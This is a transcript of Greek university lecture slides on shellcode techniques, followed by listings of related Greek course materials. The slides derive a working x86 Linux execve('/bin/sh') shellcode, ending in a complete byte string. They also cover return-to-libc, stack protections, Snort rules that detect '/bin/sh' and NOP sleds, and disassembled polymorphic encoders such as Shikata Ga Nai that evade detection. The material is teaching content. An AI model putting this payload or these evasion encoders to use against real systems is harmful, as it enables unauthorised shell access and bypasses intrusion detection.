Shellcode Techniques. OSS Event #5 Τμήμα Πληροφορικής/Πανεπιστήμιο Πειραιά. Νίκος Σκαλκώτος
|
|
- Ἰωνᾶς Ζαφειρόπουλος
- 7 χρόνια πριν
- Προβολές:
Transcript
1 Shellcode Techniques OSS Event #5 Τμήμα Πληροφορικής/Πανεπιστήμιο Πειραιά Νίκος Σκαλκώτος
2 Software vulnerability Επιθέσεις Βασισμένες στα δεδομένα Format String Attack Buffer overflow Attack Format String Attack : Έγινε γνωστή το 1999 Κακή χρήση της printf: printf(foo); αντί για printf(%s, foo); Χρήσιμα tokens: %s, %x, %n
3 Buffer Overflow Attack Χρησιμοποιείται από την δεκαετία του ' : Morris Worm Buffer Overflow στη sendmail Έθεσε εκτός λειτουργίας το 70% του Internet!!! Έγινε ευρέως γνωστή το 1996 Aleph One Smashing the stack for fun and profit (Phrack) Μερικές φορές ο εντοπισμός είναι πολύ δύσκολος...
4 Buffer overflow basics Σύμβαση κλήσης (calling convention) func(a,b,c) push dword[c] push dword[b] push dword[a] call _func add esp,12 Πρόλογος & Επίλογος push ebp mov ebp,esp ;function s body pop ebp ret Αντιγραφή χωρίς έλεγχο ορίων σε τοπική μεταβλητή strcpy, memcpy, sprintf, scanf, sscanf, fscanf,...
5 Shellcode format Shellcode: Exploit για buffer overflow Συνήθως ο επιτιθέμενος προσπαθεί να αποκτήσει Shell Μορφή: Έλκηθρο (Sled ή Sledge) Χρήση NOP Εντολών: 1 byte μέγεθος Opcode 0x90 Payload Κώδικας που προσπαθεί ο επιτιθέμενος να εκτελέσει Νέα Διεύθυνση Επιστροφής
6 Payload Execve void main() mov eax,0xb { push ebp mov ebx,dword PTR [ebp+8] mov ebp,esp mov ecx,dword PTR [ebp+12] mov edx,dword PTR [ebp+16] char *name[2]; int $0x80 sub esp,0x08 name[0] = /bin/sh ; mov DWORD PTR[ebp-8],0x80a5808 name[1] = NULL; mov DWORD PTR[ebp-4],0x0 execve(name[0], name, NULL); push 0x0 } lea eax,dword PTR[ebp-8] push eax mov eax,dword PTR[ebp-8] push eax call <execve> add esp,0x0c pop ret ebp skalkoto@darkstar:~$ gcc -o shellcode -ggdb\ > -static shellcode.c skalkoto@darkstar:~$ gdb shellcode (gdb) set disassembly-flavor intel (gdb) disassemble main (gdb) disassemble execve
7 Payload Pseudo code (1) Συμβολοσειρά "/bin/sh" στη μνήμη (2) Διεύθυνση της "/bin/sh" και 0x00 μετά (3) Αντιγραφή του 0xB στον EAX (4) Αντιγραφή της διεύθυνσης της διεύθυνσης του "/bin/sh" στον EBX. (5) Αντιγραφή της διεύθυνσης του "/bin/sh" στον ECX (6) Αντιγραφή της διεύθυνσης του NULL στον EDX (7) Εκτέλεση int $0x80. (8) Αντιγραφή του 0x1 στον EAX (9) Αντιγραφή του 0x0 στον EBX (10) Εκτέλεση int $0x80
8 getpc jmp/call Η call αποθηκεύει τον EIP στη στοίβα fnstenv Η fnstenv αποθηκεύει το περιβάλλον της FPU στη στοίβα Μέσα στο περιβάλλον υπάρχει και η διεύθυνση της τελευταίας FPU εντολή που εκτελέστηκε jmp L2 L1: pop eax ;eax contains L3... L2: call L1 L3: <fpu command> fnstenv[esp 12] pop eax add al,10 ;eax contains L1 nop L1:
9 Payload Code jmp L2 L1: pop esi mov DWORD PTR [esi+8],esi mov BYTE PTR [esi+7],0x0 mov DWORD PTR [esi+12],0x0 mov eax,0xb mov ebx,esi lea ecx,[esi+8] lea edx,[esi+12] int 0x80 mov eax,0x1 mov ebx,0x0 int 0x80 L2: call L1.string "/bin/sh" (gdb) x/xb main+5 0x80483f9 <main+5>: (gdb) 0x80483fa <main+6>: (gdb) 0x80483fb <main+7>: (gdb) 0x80483fc <main+8>: (gdb) 0x80483fd <main+9>: (gdb) 0x80483fe <main+10>: (gdb) 0x80483ff <main+11>: (gdb) 0x <main+12>: (gdb) 0x5e 0x89 0x76 0x08 0xc6 0x46 0x07 0x00 Τα 0x00 είναι πρόβλημα
10 Final Payload Code jmp before_call after_jmp: pop esi mov DWORD PTR[esi+8],esi xor eax,eax mov BYTE PTR[esi+7],al mov DWORD PTR[esi+12],eax mov al,0xb mov ebx,esi lea ecx,[esi+8] lea edx,[esi+12] int 0x80 xor ebx,ebx mov eax,ebx inc eax int 0x80 before_call: call after_jmp.string /bin/sh (gdb) x/bx main+14 0x <main+14>: 0xeb (gdb) 0x <main+15>: 0x1f (gdb) 0x <main+16>: 0x5e (gdb) 0x <main+17>: 0x89 (gdb) 0x <main+18>: 0x76 (gdb)... char shellcode[] = \xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88 \x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3 \x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31 \xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff \xff\xff/bin/sh ;
11 Shellcode Protection Απαγόρευση εκτέλεσης κώδικα από τη στοίβα Address Space Layout Randomization (ASLR) Προστασία της διεύθυνσης Επιστροφής
12 No Execution Bit Το payload βρίσκεται στη στοίβα H SUN έχει ΝΧ bit στην MMU από το 1997 Στους επεξεργαστές για PC μπήκε το 2004 (Athlon64, Opteron) Η απαγόρευση εκτέλεσης κώδικα από τη στοίβα κάνει τη λειτουργία του αρχικού shellcode μη δυνατή. ΛΥΣΗ: return-to-libc attack
13 Return-to-libc Η libc είναι η βασική βιβλιοθήκη της C Είναι mapped στο address-space όλων των διεργασιών Ανακατεύθυνση της Διεύθυνσης Επιστροφής σε συνάρτηση της libc Κλήση της system( /bin/sh );
14 Address Space Layout Randomization (ASLR) Οι επιθέσεις βασίζονται στην εύρεση σωστών διευθύνσεων ΙΔΕΑ: Σε κάθε εκτέλεση ο χώρος διευθύνσεων να γίνεται randomize Υλοποιήθηκε πρώτα από το PAX για Linux Πλέον υπάρχει στο Linux πυρήνα, στα Microsoft Vista κ.α. PAX 's Address Randomization: Για executable και mapped segments: 16 bytes Για stack: 24 bytes Λύση: Brute-force Procedure Linkage Table
15 Return Address Protection Έλεγχο για αλλοίωση της Διεύθυνσης Επιστροφής Εισαγωγή επιπλέον κώδικα στον πρόλογο και επίλογο της συνάρτησης Εφαρμόζεται κατά το compilation Stackshield: Αντιγραφή της Διεύθυνσης Επιστροφής σε άλλη θέση στον πρόλογο και επαναφορά της στον επίλογο StackGuard, SSP, Microsoft.NET: Εισαγωγή ειδικής τιμής στη στοίβα (canary) και έλεγχος της στον επίλογο
16 canary Το πρώτο αφήνει τα Frame Pointer Overwrite Exploit Απόδοση τιμής στο canary: NULL Canary: 0x Terminator Canary: 0x000AFF0D (NULL, LF, EOF,CR) Random Canary Xor Canary: RandomCanary XOR ReturnAddress Vulnerable αν υπάρχουν pointers, function pointers Αυξάνει το χρόνο εκτέλεσης
17 Shellcode Detection Το Βασικό Shellcode ανιχνεύεται εύκολα alert tcp $EXTERNAL_NET any -> $HOME_NET 22 msg:"exploit ssh CRC32 overflow NOOP"; flow:to_server,established; content:" "; alert tcp $EXTERNAL_NET any -> $HOME_NET 22 msg:"exploit ssh CRC32 overflow /bin/sh"; flow:to_server,established; content:"/bin/sh"; Λύση: Πολυμορφισμός & Μεταμορφισμός
18 Polymorphic Code Πολυμορφικός κώδικας είναι ο κώδικας που μεταλλάσσεται κρατώντας τον αρχικό αλγόριθμο ίδιο. Ξεκίνησε από τα virus Πρώτος Πολυμορφικός Ιός: 1260 ή Chameleon (1990) Mutation Engine (Mte) από τον Dark Avenger Για τα shellcodes πολυμορφισμός σημαίνει κωδικοποίηση (συνήθως XOR) με κάποιο κλειδί
19 Metamorhic Code Χρήση Διαφορετικών Ισότιμων Εντολών Μετατόπιση τμημάτων του κώδικα Αλλαγή Χρησιμοποιούμενων Καταχωρητών Εισαγωγή JMP για την επαναδιάταξη του κώδικα Non Operetional Pad Instructions
20 Metamorphic Sled (1) Sled με εντολές 1 byte (όχι απαραίτητα NOP) inc, dec, push, pushf, pusha, wait, ass, xchg, cmc... Sled εντολών με ποικίλα μεγέθη Προσοχή!!! Κίνδυνος να πέσουμε στο μέσω κάποιας εντολής
21 Metamorphic Sled (2) Ακόμα πιο πολύπλοκα sled Trampoline κ.τ.λ
22 Polymorphic Engines ADMutate (2002) 1 byte instructions Sled Κωδικοποίηση με XOR Non Operational Pad Instructions CLET Αλλαγή καταχωρητών Εισαγωγή ειδικού πεδίου (cram) για στατιστική ανάλυση Alpha2 Alphanumeric και Unicode Shellcodes Metasploit Framework State Of the Art!!!!!
23 ADMutate jmp aas aaa pop_pc: mov sub rol push pop xor das fwait dec push pop mov again: xor inc inc inc <before_call> esi,dword PTR [esp] esp,0x4 eax,0x7e 0xb5b22fbd ebx ecx,ecx eax 0xd eax ecx,eax DWORD PTR [esi],ebx edi esi esi inc esi movl eax,es xchg ecx,ecx das inc esi loop <again> not eax mov al,0x5 xor eax,eax movl eax,es xor eax,0xffffffa9 or eax,0x2a jmp <green> inc edi xchg edx,eax before_call: call <pop_pc> 2DC490EB 34DC3B42 3EE8B584 7D853B4C 34DF193C 471E721E 0D27B6B6 70AF836E 34F7F278 3DC76B4A 42D09DC6 D4419DC6 D53D434A
24 Alpha 2 Aphanumeric Shellcodes Περιέχουν μόνο ΑSCII χαρακτήρες 0-9 (0x30-0x39), A-Z (0x41-0x5a), a-z (0x61-0x7a) Unicode Proof Shellcodes Περιέχουν Unicode χαρακτήρες Υπάρχει και στο metsploit framework Αν στην είσοδο γίνεται γερό φιλτράρισμα strspn, strcspn Βγάζει πάρα πολύ μεγάλα payloads Χρησιμοποιεί συνέχεια inc, dec, push, pop
25 Metasploit Encoders Countdown Μη σταθερό κλειδί μεγέθους 1 byte Κάνει JMP στο μέσο της εντολής JmpCallAddictive Μη σταθερό κλειδί μεγέθους 4 bytes Χρησιμοποιεί προσθετικό αλγόριθμο για το κλειδί ShikataGaNai Κωδικοποιεί σαν τον JmpCallAddictive GetPC με FPU Instructions Κωδικοποιεί και το βρόχο αποκωδικοποίησης
26 Countdown Encoder A 000E A2A push byte +0x2a 59 pop ecx E8FFFFFFFF call 0x7 FFC1 inc ecx 5E pop si 304C0E xor [esi+ecx+07],cl E2FA loop 0xa 6B095B9D 57606F25 6A83EC64 227D D717D 7B9FF44A F1121B1C 1D317D49 4F0D504C A1 C8E7AB
27 JmpCallAddictive A 000C 000D 000F FC EB11 cld jmp short 0x14 B9CC2874E7 mov ecx,0xe77428cc 5E pop esi 56 push esi 310E xor [esi],ecx AD 01C1 lodsd add ecx,eax 85C0 test eax,eax 75F7 jnz 0xa C3 E8EAFFFFFF ret call 0x3 A6232C7E 6452A4AD EB13D3C6 C B8E67E EC4F05D2 1847CAD3 D877A8BA B6A85F55 46E0CC2C A7C3732E 27DC732F
28 ShikataGaNai B 000C 000E B BE2D6203E1 DAC5 D97424F4 5A 31C9 B10C C F6C720E E114E2F5 mov esi,0xe103622d fcmovb st5 fnstenv [esp-0xc] pop edx xor ecx,ecx mov cl,0xc xor [edx+0x12],esi add edx,byte +0x4 add ebx,[edi+0x6c] add esi,[edx+0xe] loope 0x2f loop 0x10 F57BBD4F 5B1A555D 386B42F5 9118E506 85F1976F 3B87BB22 2B9F3BC3 AB8F59AA C5E0EE44 19A8431C F89BE41E
29 Metamorphism in ShikataGaNai mov eax,0xe06d6955 fcmovne st7 fnstenv [esp 0xc] pop edx sub ecx,ecx mov cl,0xc again: add edx,byte +0x4 xor [edx+0xe],eax add eax,[edx+0xe] loop <again> fcmove st5 fnstenv [esp 0xc] pop eax xor ecx,ecx mov cl,0xc mov edx,0x2ee7593 again: xor [eax+0x17],edx add eax,byte +0x4 add edx,[eax+0x13] loop <again> xor ecx,ecx fcmovb st6 mov cl,0xc fnstenv [esp 0xc] mov edi,0xf35e0f78 pop ebx again: xor [ebx+0x15],edi add edi,[ebx+0x15] sub ebx,byte 0x4 loop <again>
30 THANX! Ερωτήσεις;
ΗΥ 232 Οργάνωση και Σχεδίαση Υπολογιστών. Intel x86 ISA. Νίκος Μπέλλας Τμήμα Ηλεκτρολόγων Μηχανικών και Μηχανικών ΗΥ
ΗΥ 232 Οργάνωση και Σχεδίαση Υπολογιστών Intel x86 ISA Νίκος Μπέλλας Τμήμα Ηλεκτρολόγων Μηχανικών και Μηχανικών ΗΥ RISC vs. CISC Η assembly των επεξεργαστών ARM, SPARC (Sun), και Power (IBM) είναι όμοιες
Διαβάστε περισσότεραEPL475:Εργαστήριο 5, GDB
EPL475:Εργαστήριο 5, GDB Στο σημερινό εργαστήριο θα χρησιμοποιήσουμε το εργαλείο gdb για αποσφαλμάτωση. Με το τέλος αυτού του εργαστήριου οι φοιτητές θα μπορούν να: Να φορτώνουν εκτελέσιμο αρχείο στον
Διαβάστε περισσότεραEternal War in Memory. Dimitris Mitropoulos
Eternal War in Memory Dimitris Mitropoulos dimitro@di.uoa.gr Εισαγωγικά functions Μια μέθοδος (function), είναι ένα επαναχρησιμοποιήσιμο (reusable) κομμάτι κώδικα. Ένα πρόγραμμα καθώς εκτελείται μπορεί
Διαβάστε περισσότεραΛειτουργικά Συστήματα 7ο εξάμηνο, Ακαδημαϊκή περίοδος
ΕΘΝΙΚΟ ΜΕΤΣΟΒΙΟ ΠΟΛΥΤΕΧΝΕΙΟ ΣΧΟΛΗ ΗΛΕΚΤΡΟΛΟΓΩΝ ΜΗΧΑΝΙΚΩΝ KΑΙ ΜΗΧΑΝΙΚΩΝ ΥΠΟΛΟΓΙΣΤΩΝ ΤΟΜΕΑΣ ΤΕΧΝΟΛΟΓΙΑΣ ΠΛΗΡΟΦΟΡΙΚΗΣ ΚΑΙ ΥΠΟΛΟΓΙΣΤΩΝ ΕΡΓΑΣΤΗΡΙΟ ΥΠΟΛΟΓΙΣΤΙΚΩΝ ΣΥΣΤΗΜΑΤΩΝ http://www.cslab.ece.ntua.gr Λειτουργικά
Διαβάστε περισσότεραΠροηγμένοι Μικροεπεξεργαστές. Έλεγχος Ροής Προγράμματος
Προηγμένοι Μικροεπεξεργαστές Έλεγχος Ροής Προγράμματος Control Flow εντολές Jump related JMP Jcc (JZ, JNZ, JB, JNB etc) JCXZ, JECXZ LOOP LOOPE, LOOPNE Procedure related CALL RET INT IRET INTO ENTER LEAVE
Διαβάστε περισσότεραΚεφάλαιο 2 Buffer Overflow Exploits
Κεφάλαιο 2 Buffer Overflow Exploits 2.1 Γενικά Στο προηγούμενο κεφάλαιο έγινε μία επισκόπηση για το που οφείλεται ένα Buffer Overflow Vulnerability και ποίες είναι οι γνώσεις που χρειάζονται ώστε να μπορέσει
Διαβάστε περισσότεραΑρχιτεκτονικές Συνόλου Εντολών (ΙΙ)
Ιόνιο Πανεπιστήμιο Τμήμα Πληροφορικής Αρχιτεκτονική Υπολογιστών 2017-18 Αρχιτεκτονικές Συνόλου Εντολών (ΙΙ) (Αρχιτεκτονική x86-64) http://mixstef.github.io/courses/comparch/ Μ.Στεφανιδάκης Αρχιτεκτονική
Διαβάστε περισσότεραΑρχιτεκτονική x86(-64) 32-bit και 64-bit λειτουργία. Αρχιτεκτονική x86(-64) Αρχιτεκτονική επεξεργαστών x86(-64) Αρχιτεκτονικές Συνόλου Εντολών (ΙΙ)
Ιόνιο Πανεπιστήμιο Τμήμα Πληροφορικής Αρχιτεκτονική Υπολογιστών 2017-18 Αρχιτεκτονικές Συνόλου Εντολών (ΙΙ) (Αρχιτεκτονική x86-64) http://mixstef.github.io/courses/comparch/ Μ.Στεφανιδάκης Αρχιτεκτονική
Διαβάστε περισσότεραΚεφάλαιο 3 Μέθοδοι αντιμετώπισης των Buffer Overflow Exploits
Κεφάλαιο 3 Μέθοδοι αντιμετώπισης των Buffer Overflow Exploits 31 Γενικά Στο A Μέρος της πτυχιακής παρουσιάσθηκε αναλυτικά το πώς μπορεί ένα κακόβουλος χρήστης(blackhat) να εκμεταλλευτεί(exploit) την αδυναμία(vulnerability)
Διαβάστε περισσότεραΕισαγωγή εκτελέσιμου κώδικα σε διεργασίες
0x375 - Thessaloniki Tech Talks Sessions Event 0x2 19 Μαρτίου 2010 Περιεχόμενα 1 Εισαγωγή 2 Η κλήση συστήματος ptrace 3 Νήματα 4 Το πρόγραμμα εισαγωγής κώδικα prez 5 Επίλογος Γιατί; Πολλές φορές θέλουμε
Διαβάστε περισσότερα6. Επιστροφή ελέγχου στο σημείο εκκίνησης
Υποστήριξη διαδικασιών στο υλικό των υπολογιστών Βήματα στην εκτέλεση μιας διαδικασίας (procedure) 1. Τοποθέτηση παραμέτρων 2. Μεταβίβαση ελέγχου στη διαδικασία 3. Λήψη πόρων αποθήκευσης 4. Εκτέλεση επιθυμητής
Διαβάστε περισσότεραΔιαδικασίες ΙI. ΗΥ 134 Εισαγωγή στην Οργάνωση και στον Σχεδιασμό Υπολογιστών Ι. Διάλεξη 5
ΗΥ 134 Εισαγωγή στην Οργάνωση και στον Σχεδιασμό Υπολογιστών Ι Διάλεξη 5 Διαδικασίες ΙI Νίκος Μπέλλας Τμήμα Μηχανικών Η/Υ, Τηλεπικοινωνιών και Δικτύων Εισαγωγή στους Η/Υ (ΗΥ134) 1 Κατανομή μνήμης Κείμενο
Διαβάστε περισσότεραΥποστήριξη διαδικασιών στο υλικό των υπολογιστών
Βήματα στην εκτέλεση μιας διαδικασίας (procedure) 1. Τοποθέτηση παραμέτρων 2. Μεταβίβαση ελέγχου στη διαδικασία 3. Λήψη πόρων αποθήκευσης 4. Εκτέλεση επιθυμητής εργασίας 5. Τοποθέτηση αποτελέσματος σε
Διαβάστε περισσότεραMIPS functions and procedures
Εθνικό Μετσόβιο Πολυτεχνείο Σχολή Ηλεκτρολόγων Μηχανικών - Μηχανικών Υπολογιστών Αρχιτεκτονική Υπολογιστών Νεκτάριος Κοζύρης MIPS functions and procedures Άδεια Χρήσης Το παρόν εκπαιδευτικό υλικό υπόκειται
Διαβάστε περισσότεραΕισαγωγή στους Η/Υ. Γιώργος Δημητρίου. Μάθημα 6 ο και 7 ο. Πανεπιστήμιο Θεσσαλίας - Τμήμα Πληροφορικής
Γιώργος Δημητρίου Μάθημα 6 ο και 7 ο Μοντέλα Συνόλων Εντολών Συσσωρευτή Επέκτασης συσσωρευτή Στοίβας Καταχωρητών γενικού σκοπού Μνήμης-μνήμης Καταχωρητή-μνήμης Καταχωρητή-καταχωρητή Κατηγοριοποίηση RISC
Διαβάστε περισσότεραΕΡΓΑΣΤΗΡΙΟ ΑΡΧΙΤΕΚΤΟΝΙΚΗΣ Η/Υ
ΕΡΓΑΣΤΗΡΙΟ ΑΡΧΙΤΕΚΤΟΝΙΚΗΣ Η/Υ 4 ο Εξάμηνο Μαδεμλής Ιωάννης ΥΠΟΡΟΥΤΙΝΕΣ ΕΡΓΑΣΤΗΡΙΟ 6 Οι υπορουτίνες αποτελούν αυτόνομα τμήματα κώδικα που διεκπεραιώνουν μία συγκεκριμένη εργασία και μπορούμε να τα καλούμε
Διαβάστε περισσότεραΟΡΓΑΝΩΣΗ ΚΑΙ ΣΧΕΔΙΑΣΗ Η/Υ
ΟΡΓΑΝΩΣΗ ΚΑΙ ΣΧΕΔΙΑΣΗ Η/Υ Γιώργος Δημητρίου Μάθημα 3 ο ΠΜΣ Εφαρμοσμένη Πληροφορική ΑΡΧΙΤΕΚΤΟΝΙΚΕΣ ΣΥΝΟΛΟΥ ΕΝΤΟΛΩΝ Αρχιτεκτονικές συσσωρευτή Αρχιτεκτονικές επέκτασης συσσωρευτή Αρχιτεκτονικές στοίβας Αρχιτεκτονικές
Διαβάστε περισσότεραΠροηγμένοι Μικροεπεξεργαστές. Εργαστήριο 6 C & Assembly
Προηγμένοι Μικροεπεξεργαστές Εργαστήριο 6 C & Assembly Real World Situation Στον πραγματικό κόσμο, κανείς δεν γράφει αποκλειστικά assembly Κουραστικό Δύσκολα συντηρήσιμος κώδικας Μηδενική φορητότητα Μεγάλη
Διαβάστε περισσότερα1 η ΑΣΚΗΣΗ ΣΤΗΝ ΑΡΧΙΤΕΚΤΟΝΙΚΗ ΥΠΟΛΟΓΙΣΤΩΝ. Ακ. έτος , 5ο Εξάμηνο, Σχολή ΗΜ&ΜΥ
ΕΘΝΙΚΟ ΜΕΤΣΟΒΙΟ ΠΟΛΥΤΕΧΝΕΙΟ ΣΧΟΛΗ ΗΛΕΚΤΡΟΛΟΓΩΝ ΜΗΧΑΝΙΚΩΝ ΚΑΙ ΜΗΧΑΝΙΚΩΝ ΥΠΟΛΟΓΙΣΤΩΝ ΤΟΜΕΑΣ ΤΕΧΝΟΛΟΓΙΑΣ ΠΛΗΡΟΦΟΡΙΚΗΣ ΚΑΙ ΥΠΟΛΟΓΙΣΤΩΝ ΕΡΓΑΣΤΗΡΙΟ ΥΠΟΛΟΓΙΣΤΙΚΩΝ ΣΥΣΤΗΜΑΤΩΝ www.cslab.ece.ntua.gr 1 η ΑΣΚΗΣΗ ΣΤΗΝ
Διαβάστε περισσότεραΕισαγωγή Βασικές εντολές Εκτέλεση βήµα-βήµα Εξέταση/Ανάθεση GDB-101. Νίκος Ντάρµος Τµήµα Πληροφορικής Πανεπιστήµιο Ιωαννίνων
Νίκος Ντάρµος Τµήµα Πληροφορικής Πανεπιστήµιο Ιωαννίνων Ιωάννινα, Μάιος 2010 Βασικές λειτουργίες ενός debugger: Εκτέλεση προγράµµατος ϐήµα-ϐήµα. Παρακολούθηση τιµών µεταβλητών. Εξέταση
Διαβάστε περισσότεραΕισαγωγή στους Η/Υ. Γιώργος Δημητρίου. Μάθημα 3-4: Προγραμματισμός MIPS. Πανεπιστήμιο Θεσσαλίας - Τμήμα Πληροφορικής
Γιώργος Δημητρίου Μάθημα 3-4: Προγραμματισμός MIPS Προγραμματισμός σε Συμβολική Γλώσσα Η συμβολική γλώσσα: δεν έχει τύπους, δεν έχει δηλώσεις μεταβλητών, δεν έχει δομές ελέγχου, δεν έχει εντολές βρόχων,
Διαβάστε περισσότεραΔιαδικασίες Ι. ΗΥ 134 Εισαγωγή στην Οργάνωση και στον Σχεδιασμό Υπολογιστών Ι. Διάλεξη 4
ΗΥ 134 Εισαγωγή στην Οργάνωση και στον Σχεδιασμό Υπολογιστών Ι Διάλεξη 4 Διαδικασίες Ι Νίκος Μπέλλας Τμήμα Μηχανικών Η/Υ, Τηλεπικοινωνιών και Δικτύων Εισαγωγή στους Η/Υ (ΗΥ134) 1 Διευθυνσιοδότηση διακλαδώσεων
Διαβάστε περισσότεραΠροηγμένοι Μικροεπεξεργαστές. Φροντιστήριο 3 Έλεγχος Ροής Προγράμματος
Προηγμένοι Μικροεπεξεργαστές Φροντιστήριο 3 Έλεγχος Ροής Προγράμματος Επισκόπηση Εντολές Ελέγχου Ροής Υλοποίηση δομών ανώτερου επιπέδου με control flow εντολές Goto και If... then.. else While, do...while
Διαβάστε περισσότεραΣτοιχεία από Assembly Γιώργος Μανής
Στοιχεία από Assembly 8086 Γιώργος Μανής Καταχωρητές καταχωρητές γενικής φύσης καταχωρητές δείκτες καταχωρητές αναφοράς καταχωρητές τµηµάτων ειδικοί καταχωρητές Καταχωρητές γενικής φύσης 16 bit ax, bx,
Διαβάστε περισσότεραΜΥΥ- 402 Αρχιτεκτονική Υπολογιστών ARM και x86
ΜΥΥ- 402 Αρχιτεκτονική Υπολογιστών ARM και x86 Αρης Ευθυμίου Το σημερινό μάθημα! Λυση του lab02! Αρχιτεκτονική ARM σε τι μοιάζει και σε τι διαφέρει από τον MIPS! Αρχιτεκτονική x86 μια γρήγορη ματιά στη
Διαβάστε περισσότεραChapter 2. Εντολές : Η γλώσσα του υπολογιστή. (συνέχεια) Η διασύνδεση Υλικού και λογισμικού David A. Patterson και John L.
Η διασύνδεση Υλικού και λογισμικού David A. Patterson και John L. Hennessy Chapter 2 Εντολές : Η γλώσσα του υπολογιστή (συνέχεια) Διαφάνειες διδασκαλίας από το πρωτότυπο αγγλικό βιβλίο (4 η έκδοση), μετάφραση:
Διαβάστε περισσότεραΠρογραμματισμός Ι. Δείκτες. Δημήτρης Μιχαήλ. Τμήμα Πληροφορικής και Τηλεματικής Χαροκόπειο Πανεπιστήμιο
Προγραμματισμός Ι Δείκτες Δημήτρης Μιχαήλ Τμήμα Πληροφορικής και Τηλεματικής Χαροκόπειο Πανεπιστήμιο Τι είναι ο δείκτης Ένας δείκτης είναι μια μεταβλητή που περιέχει μια διεύθυνση μνήμης. Θυμηθείτε πως
Διαβάστε περισσότεραΤεχνικές εκμετάλλευσης τρωτοτήτων ασφάλειας πυρήνα. census, inc IT security research, development and services
Τεχνικές εκμετάλλευσης τρωτοτήτων ασφάλειας πυρήνα Πάτροκλος Αργυρούδης census, inc IT security research, development and services argp@censusgr University of Piraeus Software Libre Society Event #16:
Διαβάστε περισσότεραΚεντρική Μονάδα Επεξεργασίας (ΚΜΕ) Τμήματα ΚΜΕ (CPU) Ένα τυπικό υπολογιστικό σύστημα σήμερα. Οργάνωση Υπολογιστών (Ι)
Ιόνιο Πανεπιστήμιο Τμήμα Πληροφορικής Εισαγωγή στην Επιστήμη των Υπολογιστών 2015-16 Οργάνωση Υπολογιστών (Ι) (η κεντρική μονάδα επεξεργασίας) http://di.ionio.gr/~mistral/tp/csintro/ Μ.Στεφανιδάκης Ένα
Διαβάστε περισσότεραΟργάνωση Υπολογιστών (Ι)
Ιόνιο Πανεπιστήμιο Τμήμα Πληροφορικής Εισαγωγή στην Επιστήμη των Υπολογιστών 2014-15 Οργάνωση Υπολογιστών (Ι) (η κεντρική μονάδα επεξεργασίας) http://di.ionio.gr/~mistral/tp/csintro/ Μ.Στεφανιδάκης Ένα
Διαβάστε περισσότεραΕΠΛ605 Εργασία 1 Ημερομηνία Παράδοσης 12/9/2018 στην αρχή του μαθήματος
ΕΠΛ605 Εργασία 1 Ημερομηνία Παράδοσης 12/9/2018 στην αρχή του μαθήματος Ε.1 Σας δίνεται ο πιο κάτω κώδικας. Ξαναγράψτε τον ώστε να μειωθεί ο αριθμός των εντολών του αλλά διατηρώντας την ίδια λειτουργιά
Διαβάστε περισσότερα; Γιατί είναι ταχύτερη η λήψη και αποκωδικοποίηση των εντολών σταθερού μήκους;
Ιόνιο Πανεπιστήμιο Τμήμα Πληροφορικής Αρχιτεκτονική Υπολογιστών 2015-16 Αρχιτεκτονικές Συνόλου Εντολών (ΙΙ) (Δομή Εντολών και Παραδείγματα) http://di.ionio.gr/~mistral/tp/comparch/ Μ.Στεφανιδάκης Αρχιτεκτονική
Διαβάστε περισσότεραΑντικειμενοστραφείς Γλώσσες Προγραμματισμού C++ / ROOT
Αντικειμενοστραφείς Γλώσσες Προγραμματισμού Ιωάννης Παπαδόπουλος Τμήμα Φυσικής, Πανεπιστήμιο Ιωαννίνων Σεπτέμβριος 2018 1/27 1 Μεταγλωττισμένες γλώσσες προγραμματισμού / Λόγος χρήσης γλωσσών προγραμματισμού
Διαβάστε περισσότεραΕΠΛ Εισαγωγή στον Προγραµµατισµό: Λογισµικό. Το λογισµικό του συστήµατος: 1 Εισαγωγή ΤΟ ΛΟΓΙΣΜΙΚΟ ΤΩΝ ΥΠΟΛΟΓΙΣΤΩΝ
ΕΠΛ 031 2 Εισαγωγή στον Προγραµµατισµό: Λογισµικό Γιώργος Χρυσάνθου http://www.cs.ucy.ac.cy/~yiorgos/ ΤΟ ΛΟΓΙΣΜΙΚΟ ΤΩΝ ΥΠΟΛΟΓΙΣΤΩΝ 1 Εισαγωγή 2 Τα λειτουργικά συστήµατα 3 Το λογισµικό εφαρµογών 4 Γλώσσες
Διαβάστε περισσότεραΑρχιτεκτονική Υπολογιστών
Τμήμα Μηχανικών Πληροφορικής & Τηλεπικοινωνιών Αρχιτεκτονική Υπολογιστών Ενότητα 10: Πέρασμα Παραμέτρων σε Διαδικασίες. Δρ. Μηνάς Δασυγένης mdasyg@ieee.org Εργαστήριο Ψηφιακών Συστημάτων και Αρχιτεκτονικής
Διαβάστε περισσότεραΣυναρτήσεις-Διαδικασίες
ΗΥ 232 Οργάνωση και Σχεδίαση Υπολογιστών Διάλεξη 4 Συναρτήσεις-Διαδικασίες Νίκος Μπέλλας Τμήμα Μηχανικών Η/Υ, Τηλεπικοινωνιών και Δικτύων 1 Διαδικασίες (procedures) Γνωστές και σαν υπορουτίνες (subroutines)
Διαβάστε περισσότεραChapter 2. Εντολές : Η γλώσσα του υπολογιστή. (συνέχεια) Η διασύνδεση Υλικού και λογισμικού David A. Patterson και John L.
Η διασύνδεση Υλικού και λογισμικού David A. Patterson και John L. Hennessy Chapter 2 Εντολές : Η γλώσσα του υπολογιστή (συνέχεια) Διαφάνειες διδασκαλίας από το πρωτότυπο αγγλικό βιβλίο (4 η έκδοση), μετάφραση:
Διαβάστε περισσότεραΑρχιτεκτονική Υπολογιστών Ασκήσεις Εργαστηρίου
Αρχιτεκτονική Υπολογιστών Ασκήσεις Εργαστηρίου Ενότητα: ΕΡΓΑΣΤΗΡΙΑΚΗ ΑΣΚΗΣΗ Νο 11 Δρ. Μηνάς Δασυγένης mdasyg@ieee.org Τμήμα Μηχανικών Πληροφορικής και Τηλεπικοινωνιών Εργαστήριο Ψηφιακών Συστημάτων και
Διαβάστε περισσότεραΚεφάλαιο 1 Buffer Overflow & Buffer Overflow Exploit Overview
Κεφάλαιο 1 Buffer Overflow & Buffer Overflow Exploit Overview 1.1 Γενικά Ένας Balckhat hacker για να καταφέρει να πετύχει ένα Buffer Overflow Exploit εκμεταλλεύεται τα αδύναμα Buffer μίας υπηρεσίας(service).
Διαβάστε περισσότεραΠληροφορική και Υπολογιστές
Εισαγωγή Στην ενότητα αυτή θα µελετηθούν τα εξής επιµέρους θέµατα: Κοινωνία της Πληροφορίας Υλικό και Λογισµικό Η/Υ Γλώσσες Προγραµµατισµού Βιβλίο µαθήµατος: Chapter 1, Sec. 1-31 ΕΠΛ 131 Αρχές Προγραµµατισµού
